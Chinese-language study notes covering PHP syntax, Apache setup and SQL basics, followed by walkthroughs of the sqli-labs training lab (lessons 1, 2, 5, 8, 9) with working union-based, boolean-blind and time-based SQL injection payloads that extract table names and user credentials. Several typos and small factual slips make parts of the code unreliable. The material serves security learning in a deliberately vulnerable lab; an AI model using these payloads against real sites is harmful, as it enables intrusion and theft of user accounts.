PHP笔记
PHP语法
- PHP脚本以 <?php 开始,以 ?> 结束
<?php
//php代码
?>
-
PHP文件的后缀名:.php
-
PHP文件包含HTML标签和PHP脚本代码,在服务器上执行。
-
PHP中的每个代码行都必须以分号结束。
-
PHP的输出格式:
print 输出内容;
echo 输出内容;
- echo 和 print的区别:
1.echo 一次可以输出一个或多个字符串,但没有返回值。
2. prin t一次只允许输出一个字符串,返回值总为 1。
- PHP 中的注释和C语言一样,分为单行注释和多行注释。
1.单行注释:注释内容只占一行。
2.多行注释:注释内容占多行。
// 这是 PHP 单行注释
/*
这是
PHP 多行
注释
*/
PHP变量
- PHP变量格式:
$变量名
-
变量民规则:
1.变量名只能包含字母、数字以及下划线。
2.变量名必须以字母或者下划线字符开始。
3.变量名是区分大小写的。 -
注意:
1.PHP 没有声明变量的命令。变量在第一次赋值时,被创建。
2.** 在PHP中,不需要声明变量的数据类型。PHP会根据变量的值,自动把变量转换为正确的数据类型。**
PHP 变量作用域
- 局部变量:在 PHP 函数内部声明的变量是局部变量,仅能在函数内部访问。
- 全局变量:在所有函数外部定义的变量,就是全局变量。除了函数外,全局变量可以被脚本中的任何部分访问。要在一个函数中访问一个全局变量,需要使用 global 关键字。
- global 关键字:用于函数内访问全局变量。
- static关键字:当一个函数完成时,它的所有变量通常都会被删除。使用 static 关键字声明该局部变量,则函数完成后,该变量不会被删除。
PHP定界符
- PHP EOF用于定义一个字符串,以 <<<EOF 为开始标记开始,以 EOF; 为结束标记结束。
<<<EOF
// 字符串内容
EOF;
- 注意:
1.EOF 可以用任意其它字符代替,只需保证结束标识与开始标识一致。
2.结束标识,必须从行首开始独自占一行,前后不能衔接任何空白和字符。
3.位于开始标记和结束标记之间的变量可以被正常解析,但是函数则不可以
<<<EOT
// 字符串内容
EOT;
PHP数据类型
- 字符串:用单引号或双引号括起来的一些字符。
- 整型:没有小数部分的数字,可以分为十进制、十六进制( 以 0x 为前缀)、八进制(前缀为 0 )
- 浮点型:浮点数是带小数部分的数字,或是指数形式。
- 布尔型:用于条件判断真假,只有两种取值true(真)和false(假)。
- 数组:可以在一个变量中存储多个值
- 对象:使用class关键字声明类对象,类中包含属性(变量)和方法(函数)。
class 类对象名{
//类对象体
}
- 注意:类对象中的变量定义
var $变量名;
PHP变量比较
- PHP对变量进行比较包含两种,松散比较和严格比较。
- 松散比较:使用两个等号 (==) 比较,只比较变量的值,不比较变量的类型。
- 严格比较:用三个等号 (===) 比较,比较变量的值和类型。
PHP常量
- PHP常量由英文字母、下划线、和数字组成。数字不能作为首字母出现,并且常量名不需要加 $ 修饰
- 常量值被定义后,便不能被修改。
- define()函数:
bool define ( string $name , mixed $value , bool $case_insensitive )
- ame:必选参数,表示常量名称。
- value:必选参数,表示常量的值。
- case_insensitive :可选参数,当为 true时,该常量不区分大小。当为 false时,该常量区分大小。默认是区分大小
- 常量在定义后,默认是全局变量,可以在任何地方使用。
PHP字符串操作
- 并置运算:并置运算符 (.) ,用于把两个字符串值连接起来。
字符串1 . 字符串2
- strlen(str) 函数:计算字符串str的长度,一个中文占 3 个字符数。
- strpos(str1,str2) 函数:在字符串str1中,查找比配str2。如果匹配成功,则返回第一个匹配的字符位置。如果匹配失败,则返回 false。
- 不是返回匹配到字符的下标,而是返回比配到字符数量
PHP运算
- 运算符:+(加)、-(减)、*(乘)、/(商,包含小数部分) 、%(取整)、~(按二进制位进行"取反"运算)
- intdiv(x,y)函数:返回x除以y的整数部分。
- 赋值运算符:
- x += y :x = x + y
- x -= y: x = x - y
- x *= y: x = x * y
- x /= y: x = x / y
- x %= y:x = x % y
- a .= b:a = a . b ,连接两个字符串
PHP自增/自减运算
- ++变量名:变量先自加,然后变量再参与运算
- 变量名++:变量先参与运算,然后变量再自加
- – -变量名:变量先自减,然后变量再参与运算
- 变量名- -:变量先参与运算,然后变量再自减
PHP 比较运算符
- 等于:x == y ,如果 x 等于 y,则返回 true。
- 绝对等于:x === y ,如果 x 等于 y,且它们类型相同,则返回 true。
- 不等于:x != y ,如果 x 不等于 y,则返回 true。
- 不等于:x <> y ,如果 x 不等于 y,则返回 true。
- 不绝对等于:x !== y,如果 x 不等于 y,或它们类型不相同,则返回 true
- 大于:x > y,如果 x 大于 y,则返回 true。
- 小于:x < y,如果 x 小于 y,则返回 true 。
- 大于等于: x >= y ,如果 x 大于或者等于 y,则返回 true 。
- 小于等于: x <= y ,如果 x 小于或者等于 y,则返回 true。
PHP 逻辑运算符
- and(与):x and y, 如果 x 和 y 都为 true,则返回 true。
- or(或):x or y ,如果 x 和 y 至少有一个为 true,则返回 true
- xor(异或):x xor y ,如果 x 和 y 有且仅有一个为 true,则返回 true
- &&(与):x && y ,如果 x 和 y 都为 true,则返回 true
- ||(或):x || y ,如果 x 和 y 至少有一个为 true,则返回 true
- !(非):! x ,如果 x 不为 true,则返回 true
PHP条件语句
if 语句:
if(表达式)
{
语句组;
}
- 当表达式成立时,执行语句组
if…else 语句:
if(表达式)
{
语句组1;
}
else{
语句组2;
}
- 当表达式成立时,执行语句组1,否则执行语句组2
if…elseif…else 语句:
if (条件1) // 当条件1成立时,执行语句组1
{
语句组1;
}
elseif (条件2) // 当条件1不成立并且条件2成立时,执行语句组2
{
语句组2;
}
else // 当条件1和条件2都不成立时,执行语句组3
{
语句组3;
}
Switch语句:
switch(表达式){
case 常量1:
语句组1;
break;
case 常量2:
语句组2;
break;
.....
case 常量n:
语句组n;
break;
default:
语句组n+1;
}
-
执行过程:
1.首先计算switch括号中表达式的值。
2.将表达式的值和第一个case后面的“常量1”进行比较,如果相等,则执行语句组1。如果不相等,则跳过语句组1。
3.将表达式的值和第二个case后面的“常量2”进行比较,如果相等,则执行语句组2。如果不相等,则跳过语句组2。
4.依次向下比较,如果和某一个case后面的“常量”相等,则执行相应的语句组。
5.当所有case后面的常量都不相等时,则执行default下的语句语句组。 -
关键字default以及其后语句组可以缺省
-
如果在case后面的语句块中,没有break语句。匹配成功后,从当前case后面的语句块开始执行,后续所有case的语句组都会输出,直至遇到break或者“}”,跳出switch语句。
-
如果default没有放在最后,而是放在某一个case之前:
1.程序从default之后case后面的语句组执行时,无论有无break语
句,都不执行default后面的语句组;
2.程序从default之前case后面的语句组执行时,如果没有遇到
break语句,则执行default后面的语句组;
3.如果case后面的常量都不匹配,则执行default后面的语句组。
PHP数组
-
数组变量:能够在数组中存储多个数据,每个数据以键值对的形式出现,从而根据键访问对应值。
-
array()函数:用于创建数组。
-
PHP数组可以分为三种,数值数组、关联数组、多维数组。
-
数值数组:不需要指定键,键从 0 开始分配。
-
关联数组:数组元素以指定键值对形式出现,“键”=>“值”。
-
count(数组名) :返回数组长度,即数组元素个数。
PHP数组运算符
- +(集合):$arr3 = $arr1 + $arr2,数组arr1和数组arr2不变,数组arr3为arr1和arr2数组元素之和。某个元素的键名相同,则arr1中的键值对优先。
- ==(相等):$x == $y ,如果 x 和 y 具有相同的键/值对,则返回 true。
- ===(恒等):$x === $y ,如果 x 和 y 具有相同的键/值对,且顺序相同类型相同,则返回 true。
- !=(不相等):$x != $y, 如果 x 不等于 y,则返回 true。
- <>(不相等):$x <> $y, 如果 x 不等于 y,则返回 true。
- !==(不恒等):$x ! $y, 如果 x 不等于 y,则返回 true。
PHP 数组排序函数
- sort() :对数字数组,按照ASCII比较序列,进行升序排列。
- rsort() :对数字数组,按照ASCII比较序列,进行降序排列。
- asort() :对关联数组,根据值,按照ASCII比较序列,对数组进行升序排列。
- ksort() :对关联数组,根据键,按照ASCII比较序列,对数组进行升序排列。
- arsort() :对关联数组,根据值,按照ASCII比较序列,对数组进行降序排列。
- krsort() : 对关联数组,根据键,按照ASCII比较序列,对数组进行降序排列。
PHP超级全局变量
- 超级全局变量,是PHP系统中自带的变量,在一个脚本的全部作用域中都可用,包括在函数及类中使用。
- $GLOBALS :包含了全部变量的全局组合数组,其中键变量名与值变量相同。
- $_SERVER :包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组,由 Web 服务器创建。
- $_REQUEST: 用于收集HTML表单提交的数据。
- $_POST :被广泛应用于收集表单数据
- $_GET: 同样被广泛应用于收集表单数据
PHP 循环
While 循环
while(表示式) // 当表达式为真时,执行循环体;当表达式为假时,退出while循环
{
循环体
}
do…while循环
do{
循环体
}while(表达式);
- do-while循环执行过程:
1.先执行一次循环体
2.计算表达式的值,若表达式的值为真,则再执行一次循环体;若表达式的值为假,则终止循环。 - 注意:do-while循环至少执行一次循环体语句,且while()后面要加;
for循环
for(表达式1;表达式2;表达式3)
{
循环体
}
-
for循环的执行过程:
1.执行表达式1
2.执行表达式2,若表达式的值为真,则执行第三步;若表达式的值为假,则终止循环。
3.执行循环体
4.执行表达式3 ,表达式3是循环体结束后再执行的
5.执行第二步 -
注意:
1.表达式1一般是赋值语句,用于给循环控制变量赋初值。
2.表达式2一般是真假判断,若为真,则执行循环体;若为假,则终止循环。
3.表达式3一般是循环控制变量的自增或者自减。
foreach 循环
- 语法1:
foreach ($array as $value) // 适用于数字数组
{
要执行代码;
}
- 循环过程:每进行一次循环,当前数组元素赋值给 $value 变量,数组指针自动下移一位。
- 语法2:
foreach ($array as $key => $value) // 适用于关联数组
{
要执行代码;
}
- 循环过程:每进行一次循环,当前数组元素键与值就会赋给 $key 和 $value 变量,数组指针自动下移一位。
PHP 函数
- 函数的定义:
function 函数名(形参列表)
{
函数体
}
- 如果函数有返回值,会使用 return 语句
return 表示式;
,返回表达式的值。
PHP 魔术常量
- 魔术常量的值随着在代码中的位置改变而改变
- __ LINE __:值是文件中的当前行号
- __ FILE __:表示编译文件的完整路径和文件名
- __ DIR __:表示文件所在的目录。
- __ FUNCTION __:用在函数中,表示该函数名字。
- __ CLASS __:用在类中,表示该类名字。
- __ METHOD __:用在方法中,表示该方法名字。
__ NAMESPACE __:表示前命名空间的名字。
在ubuntu搭建网站
-
在ubuntu的控制终端上输入:
sudo apt updae
,更新数据包。
-
在ubuntu的控制终端上输入:
sudo apt install apache2 -y
,安装apache。
-
在ubuntu的控制终端上输入:
sudo service apache2 restart
,启动apache2。
-
在浏览器,输入:http://localhost ,就看到apache 默认的页面。
-
修改index.html中的内容,再次在浏览器,输入:http://localhost
SQL语法
SQL简介
- 资料库管理系统(DBMS):负责对资料库的管理,可以分为两种,关联式资料库管理系统(RDBMS)和非联式资料库管理系统(NRDBMS)
- MySQL :数据库是一些关联表的集合,而MySQL是最流行的关系型数据库管理系统
- SQL:用于跟关联式资料库管理系统沟通的语言。
- 数据表: 表是数据的矩阵,例如一个班级的学生信息。
- 列: 一列(数据元素) 包含了相同类型的数据, 表示一个属性。例如学生的学号、姓名、成绩等。
- 行:一行(元组,或记录)是一组相关的数据,比如一位学生的信息。
- 主键:主键是唯一的。一个数据行中只能包含一个主键,可以来查询数据。
- 外键:外键用于关联两个表
SQL资料库操作语法
- sql语法中,关键字是蓝色的,并且不区分大小写。而我们自己写的标识符可以用``括起来,也可以不用。
- 资料库创建:
CREATE DATABASE `资料库名`;
或者
CREATE DATABASE 资料库名;
- 显示资料库:
SHOW DATABASES;
- 删除资料库:
DROP DATABASE `资料库名`;
资料的类型
- INT:表示资料是整型
- DECIMAL(m,n):表示资料是实数,整体占m位,小数部分占n位m,小数点不算一位。
- VARCHAR(n):表示资料是字符串,字符串长度最大为n
- BLOB:表示资料是二进制的资料,例如图片、影片等
- DATE:表示资料是日期,形式为年-月-日,例如2018-06-07
- TIMESTAMP:表示资料是最后修改日期,形式为年-月-日 小时:分钟:秒
SQL表格操作语法
- 定义表格所属的资料库:
USE `资料库的名字`;
- 创建表格:
CREATE TABLE `表格名`(
`第一列属性名` 第一列资料的类型,
`第二列属性名` 第二列资料的类型,
......
`第n列属性名` 第n列资料的类型,
);
- 可以使用关键字
PRIMARY KEY
,将某一列定义为主键,有两种方式:
CREATE TABLE `表格名`(
`第一列属性名` 第一列资料的类型 PRIMARY KEY,
`第二列属性名` 第二列资料的类型,
......
`第n列属性名` 第n列资料的类型,
);
CREATE TABLE `表格名`(
`第一列属性名` 第一列资料的类型,
`第二列属性名` 第二列资料的类型,
......
`第n列属性名` 第n列资料的类型,
PRIMARY KEY(属性名)
);
- 将某一列定义为外键:
CREATE TABLE `表格名`(
`第一列属性名` 第一列资料的类型,
`第二列属性名` 第二列资料的类型,
......
`第n列属性名` 第n列资料的类型,
FOREIGN KEY (`外键属性名`) REFERENCES `关联表名`(`关联属性名`) ON DELETE CASCADE
);
- 显示表格:
DESCRIBE `表格名`;
- 删除表格:
DROP TABLE `表格名`;
- 为表格添加属性:
ALTER TABLE `表格名` ADD `属性名` 资料类型;
- 删除表格中属性:
ALTER TABLE `表格名` DROP COLUMN 属性名;
SQL增加资料语法
- 存入资料:
INSERT INTO `表格名` VALUES(属性1,属性2,...,属性n);
- 显示表格中所有资料:
SELECT * FROM `表格名`;
- 以任意的顺序存入资料:
INSERT INTO `表格名` (要填入的第1个属性,要填入的第2个属性,...,要填入的第n个属性,) VALUES(属性1,属性2,...,属性n);
SQL限制语法
- 在创建表格的时候,可以使用一些关键字对属性进行限制。
- NOT NULL:当输入资料时,该属性对应的数据不能为空。
- UNIQUE:当输入资料时,该属性对应的数据不能与其他资料一样。
- DEFAULT 默认值:当输入资料时,该属性对应的数据为空,则去默认值
- AUTO_INCREMENT:当输入资料时,该属性对应的数据自动赋值(1、2、3…)。
SQL修改资料语句
- 修改语句的格式:
UPDATE `要修改的表格名`
SET `要修改的属性名` = `修改值`
WHERE 修改判断条件;
- 可以没有判断条件,对每一行数据都进行修改
UPDATE `要修改的表格名`
SET `要修改的属性名` = `修改值`;
- 可以使用关键字AND 和 OR,对多个条件进行判断
SQL删除资料语句
- 删除语句的格式:
DELETE FROM `要删除资料的表格名`
WHERE 判断条件;
- 可以没有判断条件,则删除表中所有数据:
DELETE FROM `要删除资料的表格名`;
SQL查询资料语句
- 查询某一列(属性)的数据:
SELECT `属性名1` `属性名2` FROM `表格名`;
- 查询所有列的数据:
SELECT * FROM `表格名`;
- 将查询的数据,顺序排序:
SELECT `属性名`
FROM `表格名`
ORDER BY `排序依据的属性名` ASC;
- 将查询的数据,逆序排序:
SELECT `属性名`
FROM `表格名`
ORDER BY `排序依据的属性名` DESC;
- 可以用关键字LIMIT,去限制显示的行数。
- 有条件,查询数据:
SELECT `属性名`
FROM `表格名`;
WHERE 查询条件;
sql注入
sql注入简介
- sql注入原理:攻击者通过构造不同的sql语句对数据库进行操作,关键在于参数用户可控和构造参数带入数据库查询。
sql手注流程
- 判断注入点:例如 id=1’,在1都后面加个单引号,页面提示出错。
- 判断列数:通过ORDER BY(order by) 语句,根据某一列对结构集排序。
- 判断回显位:通过union判断回显点
- 查询相关内容:在回显位上,调用mysql数据库的一些函数,查询数据。
sql盲注
- 当执行select语句之后,可能由于网站代码的限制或者apache等解析器配置了不回显数据,造成在select数据之后不能回显到页面。此时,我们需要利用一些方法进行判断或者尝试,这个判断的过程称之为盲注。
- 盲注的分类有两种,布尔盲注和时间盲注
- 布尔盲注分为两步:
1.使用 length()函数,判断查询结果的长度
2.使用 substr()函数,截取每一个字符。
3.使用ascii()函数,将截取的字符转换成对应的ascii
重要的SQL注入语句或函数
- information_schema:表示所有的信息,包括库、表、列。
- information_schema.tables:表示所有表名信息
- informaton_schema.columns:表示所有列名信息
- table_schema:数据库名
- table_table:表名
- column_name:列名
- concat():用于将多个字符串连接起来,形成一个单一的字符串。
- group_concat():显示拼接的数据
- version():查询MySQL的版本号
- database():查看当前使用的数据库
- length(str):计算字符串str长度
- substr(a,b,c):a是要截取的字符串,b是截取的位置,c是截取的长度。例如substr(“123456”,1,1)返回 1
- cc(ch):字符ch转换成对应的ascii
- if(condition, value_if_true, value_if_false):
1.condition是一个条件表达式,用于判断真假。2.condition为真时,返回value_if_true
3.condition为假时,返回value_if_false - sleep(n):页面延迟n秒
- updatexml (document, Path, new_value):
1.document:表示XML文档对象的名称
2.path:XML文档的路经
3.new_value:更新用的数据。
4.updatexml()函数的作用:对Path进行查询操作,如果符合语法格式要求,则用第三个参数替换。如果不符合语法格式要求,则会报错并带出查询的结果
5.特殊用法:第一和第三个参数可以随便写,只需要利用第二个参数,带出第二个参数的查询结果
sqli-labs第一关
判断注入点
-
提示你输入数字值的ID作为参数,首先输入:
http://localhost/sqli/Less-1/?id=1
-
再先输入:
http://localhost/sqli/Less-1/?id=2
-
再先输入:
http://localhost/sqli/Less-1/?id=3
-
输入的id值不同,返回的内容也不同。由此可见,是根据我们输入的内容,查询数据库。
-
接着输入:
http://localhost/sqli/Less-1/?id=1'
-
接着输入:
http://localhost/sqli/Less-1/?id=1' --+
-
当我们输入
?id=1'
的时候,回显中有1'
,存在字符型sql注入漏洞。
判断列数
-
输入:
http://localhost/sqli/Less-1/?id=1' order by 3 --+
,将查询的结果根据第三列进行排序。如果显示正常,则表示第三列存在。如果报错,则表示第三列数不存在。
-
输入:
http://localhost/sqli/Less-1/?id=1' order by 4 --+
,将查询的结果根据第四列进行排序。如果显示正常,则表示第四列存在。如果报错,则表示第四列数不存在
-
由此可见,表中只存在3列
判断回显位
-
输入:
http://localhost/sqli/Less-1/?id=-1' union select 111,222,333 --+
,当id=-1’查寻不到数据时,就会选择111,222,333中,某处的数据显示。
-
由此可见,回显位是222处和333处。
查询相关内容
- 输入:
http://localhost/sqli/Less-1/?id=-1' union select 111,database(),version() --+
。在回显位上,输入database(),查看当前使用的数据库。输入version(),查看MySQL的版本号。
-
由图可知,当前使用的数据库是security,MySQL版本号是5.7.26
-
输入:
http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
,显示出数据库security中,所有的表名。
-
由图可知,数据库security中的表有:emails,referers,uagents,users。可能用户的账户和密码是在users表中,接下要得到该表下的字段名以及内容。
-
输入:
http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
,显示出数据库security中,user表的所有列名信息
-
由图可知,数据库security中,user表有很多列。其中最最要的是username列和password列,可能就是账户名和密码。
-
输入:
http://localhost/sqli/Less-1/?id=-1' union select 111,222,group_concat(username ,id , password) from users --+
,显示出数据库security中,user表的username列和password列,中间用id列隔开。
-
由图可知,我们就知道security数据库中,所有的账号和密码,例如账号(Dumb)和密码(Dumb)
sqli-labs第二关
判断注入点
-
提示你输入数字值的ID作为参数,首先输入:
http://localhost/sqli/Less-2/?id=1
-
提示你输入数字值的ID作为参数,首先输入:
http://localhost/sqli/Less-1/?id=2
-
提示你输入数字值的ID作为参数,首先输入:
http://localhost/sqli/Less-1/?id=3
-
输入的id值不同,返回的内容也不同。由此可见,是根据我们输入的内容,查询数据库。
-
接着输入:
http://localhost/sqli/Less-1/?id=1'
-
接着输入:
http://localhost/sqli/Less-1/?id=1 --+'
-
当我们输入?id=1’的时候,回显中没有1’,故存在数字型sql注入漏洞。
判断列数
- 输入:
http://localhost/sqli/Less-2/?id=1 order by 1 --+
,将查询的结果根据第1列进行排序。如果显示正常,则表示第1列存在。如果报错,则表示第1列数不存在。
- 输入:
http://localhost/sqli/Less-2/?id=1 order by 2 --+
,将查询的结果根据第2列进行排序。如果显示正常,则表示第2列存在。如果报错,则表示第2列数不存在。
- 输入:
http://localhost/sqli/Less-2/?id=1 order by 3 --+
,将查询的结果根据第3列进行排序。如果显示正常,则表示第3列存在。如果报错,则表示第3列数不存在。
- 输入:
http://localhost/sqli/Less-2/?id=1 order by 4 --+
,将查询的结果根据第4列进行排序。如果显示正常,则表示第4列存在。如果报错,则表示第4列数不存在。
- 由此可见,表中只存在3列
判断回显位
- 输入:
http://localhost/sqli/Less-2/?id=-1 union selece 1,2,3 --+
。当id=-1查寻不到数据时,就会选择1,2,3中,某处的数据显示。
- 由此可见,回显位是2处和3处
查询相关内容
1.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,database() ,version() --+
。在回显位上,输入database(),查看当前使用的数据库。输入version(),查看MySQL的版本号。
2.由图可知,当前使用的数据库是security,MySQL版本号是5.7.26
3.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' --+
4.由图可知,数据库security中的表有:emails,referers,uagents,users。可能用户的账户和密码是在users表中,接下要得到该表下的字段名以及内容。
5.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
6.由图可知,数据库security中,user表有很多列。其中最重要的是username列和password列,可能就是账户名和密码。
7.输入:http://localhost/sqli/Less-2/?id=-1 union select 1,2,group_concat(username, id, password) from users --+
8.由图可知,我们就知道security数据库中,所有的账号和密码,例如账号(Dumb)和密码(Dumb)
sqli-labs第五关
判断注入点
- 输入:
http://localhost/sqli/Less-5/?id=1'
,回显中有1'
,存在字符型sql注入漏洞。
获取数据库名
- 输入:
http://localhost/sqli/Less-5/?id=1' and length((select database())) > 9 --+
。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是否大于9。
- 出错,表示数据库名长度小于9
- 输入:
http://localhost/sqli/Less-5/?id=1' and length((select database())) > 7 --+
。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是否大于7。
- 成功,表示数据库名长度大于7,故数据库长度为8
- 输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 32 --+
。判断数据名的第一符,是不是等于ascll为32的字符
- 出错,不是等于ascll为32的字符
- 输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 33 --+
。判断数据名的第一符,是不是等于ascll为33的字符
- 出错,不是等于ascll为33的字符。
- 依次增加acsll的大小,进行判断,直到输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select database()) ,1, 1) )= 115 --+
。判断数据名的第一符,是不是等于ascll为115的字符
- 成功,由此可知,数据库名的第一个字符是s
- 重复上述操作,判断数据库名的第2个字符、数据库名的第3个字符…数据库名的第8个字符,最后得到数据库名security
获取表名
- 输入:
http://localhost/sqli/Less-5/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = database())) > 13 --+
。取数据库security中的所有表,**计算这些表名的长度之和,最后判断长度是否大于17。
- 判断的长度依次增加,最后得出所有表名长度之和
- 输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32 --+
。判断表名的第一符,是不是等于ascll为33的字符
- 出错,不是等于ascll为32的字符
- 依次增加acsll的大小,进行判断,直到显示正确。
- 重复上述操作,判断表名的第2个字符、表名的第3个字符…,最后得到所有表名。
获得列名
- 输入:
http://localhost/sqli/Less-5/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) > 20--+
。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否大于20。
- 判断的长度依次增加,最后得出所有列的长度之和
- 输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'users'),1,1)) = 32 --+
。判断列名的第一符,是不是等于ascll为33的字符
- 出错,不是等于ascll为32的字符
- 依次增加acsll的大小,进行判断,直到显示正确。
- 重复上述操作,判断列名的第2个字符、列名的第3个字符…,最后得到所有列名。
获得账户和密码
- 输入:
http://localhost/sqli/Less-5/?id=1' and length((select group_concat(username, password) from users)) = 10 --+
。取数据库security中users表的username列和password列,**计算这两列的内容长度之和,最后判断长度是否等于10。
- 判断的长度依次增加,最后得出这两列的内容长度之和
- 输入:
http://localhost/sqli/Less-5/?id=1' and ascii(substr(( select group_concat(username,password) from users),1,1)) = 32 --+
。判断username和password的第一符,是不是等于ascll为33的字符
- 出错,不是等于ascll为32的字符
- 依次增加acsll的大小,进行判断,直到显示正确。
- 重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。
sqli-labs第八关
判断注入点
- 输入:
http://localhost/sqli/Less-8/?id=1'
,出现错误,存在字符型sql注入漏洞。
获取数据库名
- 输入:
http://localhost/sqli/Less-8/?id=1' and length((select database())) = 8 --+
。首先用**select database()获得数据名,再用length()**计算数据库长度,最后判断数据库长度是等于8。
- 正确,由此可知数据库长度是等于8。
- 输入:
http://localhost/sqli/Less-8/?id=1' and ascii(substr((select database()) ,1, 1) )= 32 --+
。判断数据库名的第一个字符,是不是等于ascll为32的字符
4. 出错,不是等于ascll为32的字符
5. 依次增加ascll的值,直到回显正确,从而确定数据库名的第一个字符
6. 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名
获取表名
- 输入:
http://localhost/sqli/Less-8/?id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema = database())) =10 --+
2. 判断的长度依次增加,直到回显正确,得出所有表名长度之和
3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32 --+
。判断表名的第一符,是不是等于ascll为33的字符
8. 出错,不是等于ascll为33的字符。
9. 依次增加acsll的大小,进行判断,直到回显正确,得出所有表名的第一个字符
10. 重复上述操作,判断第2个字符、第3个字符…,最后得到所有的表名
获得列名
- 输入:
http://localhost/sqli/Less-8/?id=1' and length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) = 20--+
。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否等于20。
2. 判断的长度依次增加,直到回显正确,得出users表中所有列的长度之和
3. 输入:http://localhost/sqli/Less-8/?id=1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema = 'users'),1,1)) = 32 --+
。判断列名的第一符,是不是等于ascll为33的字符
4. 出错,不是等于ascll为32的字符
5. 依次增加acsll的大小,进行判断,直到显示正确。
6. 重复上述操作,判断列名的第2个字符、列名的第3个字符…,最后得到所有列名。
获得账户和密码
-
输入:
http://localhost/sqli/Less-8/?id=1' and length((select group_concat(username, password) from users)) = 10 --+
。取数据库security中users表的username列和password列,**计算这两列的内容长度之和,最后判断长度是否等于10。
-
判断的长度依次增加,最后得出这两列的内容长度之和
-
输入:
http://localhost/sqli/Less-8/?id=1' and ascii(substr(( select group_concat(username,password) from users),1,1)) = 32 --+
。判断username和password的第一符,是不是等于ascll为32的字符
-
出错,不是等于ascll为32的字符
-
依次增加acsll的大小,进行判断,直到显示正确。
-
重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。
sqli-labs第九关
判断注入点
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(1,sleep(3),1) --+
,出现延迟,存在字符型sql注入漏洞。
获取数据库名
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(length((select database())) = 8,sleep(3),1) --+
。出现延迟,数据库名长度为8
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1)) = 32, sleep(3),1) --+
。判断数据库名的第一个字符,是不是等于ascll为32的字符
- 没有出现延迟,说明数据库名第一个字符,不等于ascll为32的字符
- 依次增加ascll的值,直到回显延迟,从而确定数据库名的第一个字符
- 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名
获取表名
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(table_name) from information_sacheme.table where table_schema = database())) = 10,sleep(3),1) --+
- 没有出现延迟,说明表名长度不是10,
- 增加长度,直到出现延迟,从而确定表名长度
- 输入:
http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32,sleep(3),1)--+
。
- 没有出现延迟,说明表名的第一个字符,不等于ascll为32的字符
- 依次增加ascll的值,直到回显延迟,从而确定数据库名的第一个字符
- 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名
获得列名
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) = 20,sleep(3),1)--+
。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否等于20。
- 没有出现延迟,说明列名长度不是20,
- 增加长度,直到出现延迟,从而确定列名长度
- 输入:
http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where tabel_name = users),1,1)) = 32,sleep(3),1)--+
- 没有出现延迟,说明列表名的第一个字符,不等于ascll为32的字符
- 依次增加ascll的值,直到回显延迟,从而确定列名的第一个字符
- 重复上述操作,判断第2个字符、第3个字符…,最后得到列名
获得账户和密码
- 输入:
http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(username,password) from users)) = 1,sleep(3),1) --+
,取数据库security中users表的username列和password列,计算这两列的内容长度之和,最后判断长度是否等于10
- 没有出现延迟,说明username列和password列名长度不是1。
- 增加长度,直到出现延迟,从而确定列名长度
- 输入:
http://localhost/sqli/Less-9/?id=1 and if(ascii(substr((select group_concat(username,password) from users)),1,1) = 32,sleep(3),1)
判断username和password的第一个字符,是不是等于ascll为32的字符
- 没有出现延迟,不是等于ascll为32的字符
- 依次增加acsll的大小,进行判断,直到出现延迟,确定sername和password的第一个字符。
- 重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。